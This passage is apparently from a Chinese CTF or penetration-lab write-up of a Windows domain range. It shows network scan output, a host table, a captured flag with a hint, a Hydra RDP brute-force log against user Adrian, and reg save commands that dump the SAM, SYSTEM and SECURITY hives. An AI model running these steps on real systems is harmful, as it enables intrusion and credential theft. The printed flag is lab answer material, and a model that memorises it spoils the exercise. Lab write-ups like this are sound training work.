172.22.4.7:135 open 172.22.4.19:139 open 172.22.4.45:135 open 172.22.4.19:135 open 172.22.4.45:80 open 172.22.4.36:80 open 172.22.4.36:22 open 172.22.4.36:21 open 172.22.4.45:139 open 172.22.4.7:88 open 172.22.4.36:3306 open 172.22.4.7:445 open 172.22.4.45:445 open 172.22.4.19:445 open 172.22.4.7:139 open [*] NetInfo [*]172.22.4.7 [->]DC01 [->]172.22.4.7 [*] NetInfo [*]172.22.4.19 [->]FILESERVER [->]172.22.4.19 [*] NetInfo [*]172.22.4.45 [->]WIN19 [->]172.22.4.45 [*] NetBios 172.22.4.19 FILESERVER.xiaorang.lab Windows Server 2016 Standard 14393 [*] NetBios 172.22.4.45 XIAORANG\WIN19 [*] OsInfo 172.22.4.7 (Windows Server 2016 Datacenter 14393) [*] NetBios 172.22.4.7 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] WebTitle http://172.22.4.45 code:200 len:703 title:IIS Windows Server [*] WebTitle http://172.22.4.36 code:200 len:68100 title:中文网页标题
稍微整理一番：
IP
主机名
角色
操作系统
关键端口
172.22.4.7
DC01
域控 (DC)
Windows Server 2016 Datacenter
88 (Kerberos), 135, 139, 445 (SMB)
172.22.4.19
FILESERVER
文件服务器
Windows Server 2016 Standard
135, 139, 445 (SMB)
172.22.4.45
WIN19
域成员机
Windows Server 2016
80 (IIS), 135, 139, 445 (SMB)
172.22.4.36
入口机已拿下
入口机
Linux
21 (FTP), 22 (SSH), 80 (HTTP), 3306 (MySQL)
本来不想拿flag的奈何提示在flag文件里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
diff /dev/null /home/flag/flag01.txt
0a1,15 > ____ U _____ u _ U _____ u ____ _ _____ U ___ u _ _ > | _"\ \| ___"|/ |"| \| ___"|/U /"___|uU /"\ u |_ " _| ___ \/"_ \/ | \ |"| > /| | | | | _|" U | | u | _|" \| | _ / \/ _ \/ | | |_"_| | | | |<| \| |> > U| |_| |\| |___ \| |/__ | |___ | |_| | / ___ \ /| |\ | | .-,_| |_| |U| |\ |u > |____/ u|_____| |_____| |_____| \____| /_/ \_\ u |_|U U/| |\u\_)-\___/ |_| \_| > |||_ << >> // \\ << >> _)(|_ \\ >> _// \\_.-,_|___|_,-. \\ || \\,-. > (__)_) (__) (__)(_")("_)(__) (__) (__)__) (__) (__)(__) (__)\_)-' '-(_/ (__) (_") (_/ > > flag01: flag{dfaf3b19-dfe6-4fb5-85ce-71222a7b535d} > > Great job!!!!!! > > Here is the hint: WIN19\Adrian > > I'll do whatever I can to rock you...
[RE-ATTEMPT] target 172.22.4.45 - login "Adrian" - pass "babygirl1" - 225 of 14344401 [child 0] (0/2) [ERROR] freerdp: The connection failed to establish. [ERROR] freerdp: The password has expired and must be changed. (0x0002000e) [VERBOSE] Disabled child 2 because of too many errors [ERROR] all children were disabled due too many connection errors 0 of 1 target completed, 0 valid password found [INFO] Writing restore file because 2 server scans could not be completed [ERROR] 1 target was disabled because of too many errors [ERROR] 1 targets did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-17 21:59:00
reg save hklm\system C:\Users\Adrian\Desktop\system reg save hklm\sam C:\Users\Adrian\Desktop\sam reg save hklm\security C:\Users\Adrian\Desktop\security
